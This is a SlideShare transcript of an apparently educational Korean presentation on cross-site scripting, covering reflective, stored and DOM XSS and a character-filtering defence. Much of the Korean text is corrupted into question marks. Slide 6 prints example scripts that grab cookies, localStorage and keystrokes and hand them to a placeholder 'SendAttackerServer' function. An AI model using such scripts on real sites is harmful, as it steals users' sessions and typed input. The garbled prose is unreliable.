XSS ? ??? ????. [?? ??]
?Download as PPTX, PDF?
2 likes?3,312 views
xss ? ?? ??? ?? ? ?????. ???? ????? ???????.
![4. ?? ??
Server-Side ??
XSS ??? ????
?? ???? ? ??????
???? ? SQL Injection ?
XSS? ?? ??? ??????
??????.
???? ? ?? ???
Client-Side? ?? ?????
????.
[< > ¡° ¡® ; : ` ! @ # $ % & * | ( ) { } ]
?? ?? ???? ???? ?
???? ??.](https://image.slidesharecdn.com/xssmcncinternship-161121181505/85/XSS-18-320.jpg)
XSS ? ??? ????. [?? ??]
- 1. XSS?.araboza ??? ?? ??? Cross Site Scripting dydwls121200@gmail.com ??? XSS ???? ???. ???? ??? ???.
- 2. 1. XSS? ?? 2. XSS? ?? 3. XSS? ?? ? ?? 4. ????
- 3. 2. XSS? ?? XSS? ???-?
- 4. 1. XSS? ?? ???? ????, ??? ??? ???? ?? ?? Cross-Site Scripting? ? ???????? ?? ???? ???? ??? ? ??? ???? ?? ?? ? ???? ?? ????? ?? ? ? ?? ???. (Wikipedia : ?????? ????? ??)
- 5. 1. XSS? ??
- 6. ??????? http://likemilk.fun25.co.kr:15405/ ?? script 1 console.log(document.cookie); console.log(document); console.log(localStorage); Var hijecking = {}; hijecking.cookie = document.cookie; hijecking.document = document; hijecking.localStorage = localStorage; //??? ??.. ?? ; SendAttackerServer(hijecking); ?? script 2 Var input=¡°¡±; $(document).on(¡®keyup¡¯,function(event){ input+=event.key; console.log(input); input=input.replace(¡®Backspace¡¯); //??¡ }); //??? ?? ??; $(document).on(¡®click¡¯,function(event){ SendAttackerServer(input); }); 1. XSS? ??
- 7. 2. XSS? ?? XSS ??? ?? ?????-!
- 8. Reflective XSS ???? ?? ??? ?? ??? URL? ? ?????? ??? ? ????? ??. Stored XSS ??? ???? ? ? ????? ?? ?? ????? ? ????? ?? ? ?? ?? ?? DOM XSS ??????? ? ??? ??? ?? ?? ??? ??? ????. 2. XSS? ??
- 9. Reflective XSS 2. XSS? ??
- 10. 1. ??? ???? x?????? ?? ????? ?? Active X? ??? 2. ??? ???? ????? ????? ????? ? ????? ??? ???? ????? 3. ??? ???? ???? ? ?? URL?? ????? ???? ?? ??????. 4. ?? ??? ??? ??? ????? ?????. Reflective XSS ???? ?? ???? ? ??? URL? ??? ???? ???? ?? ??? ??. 2. XSS? ??
- 11. Stored XSS 2. XSS? ??
- 12. 1. ???? ?? ????? ??? ?? ??? ?? ?? ?? ?? ???? ??? ?? ?? ????? ???? ??. 2. ??? ??????? ?? ???? event? ???? ????? ???? ??????? ???? ??. 3. XmlHttpOpen,$.ajax, $.get, $.post ??? EventEmitter? ???? ???? ???? ???? ?? ???? ?? ??? ? ??? ??. Stored XSS ??? ???? ? ? ????? ?? ?? ????? ? ????? ?? ? ?? ?? ?? 4. ???? ??? ?? ??? ? ???? ????? ? ????, ???? ???? ?? ??? ?? ????? ????? ??. 2. XSS? ??
- 13. DOM XSS 2. XSS? ??
- 14. DOM XSS ??????? ?? ?? ??? ??? ? ??? ??? ? ? ??. 1. ?????? ?? ? ?? ???? ?? ??? ??? ? ?? ? ?? ??? ?? ? ??? ? ??. ?: (??? ??:(????? ??????? ?? ?) 2. ???? ??????? ??? ?? ?? ????? ? ?? ????? ?? ??? ???? XSS ??? ?? ? ? ?? ?? ? ? ??? ????. 2. XSS? ??
- 15. 3. XSS? ?? ??? ????-!
- 16. 3. XSS? ?? https://namu.wiki/w/XSS http://egloos.zum.com/keep/v/1030642 HTML ???? ???
- 17. 4. ???? ?????-?
- 18. 4. ?? ?? Server-Side ?? XSS ??? ???? ?? ???? ? ?????? ???? ? SQL Injection ? XSS? ?? ??? ?????? ??????. ???? ? ?? ??? Client-Side? ?? ????? ????. [< > ¡° ¡® ; : ` ! @ # $ % & * | ( ) { } ] ?? ?? ???? ???? ? ???? ??.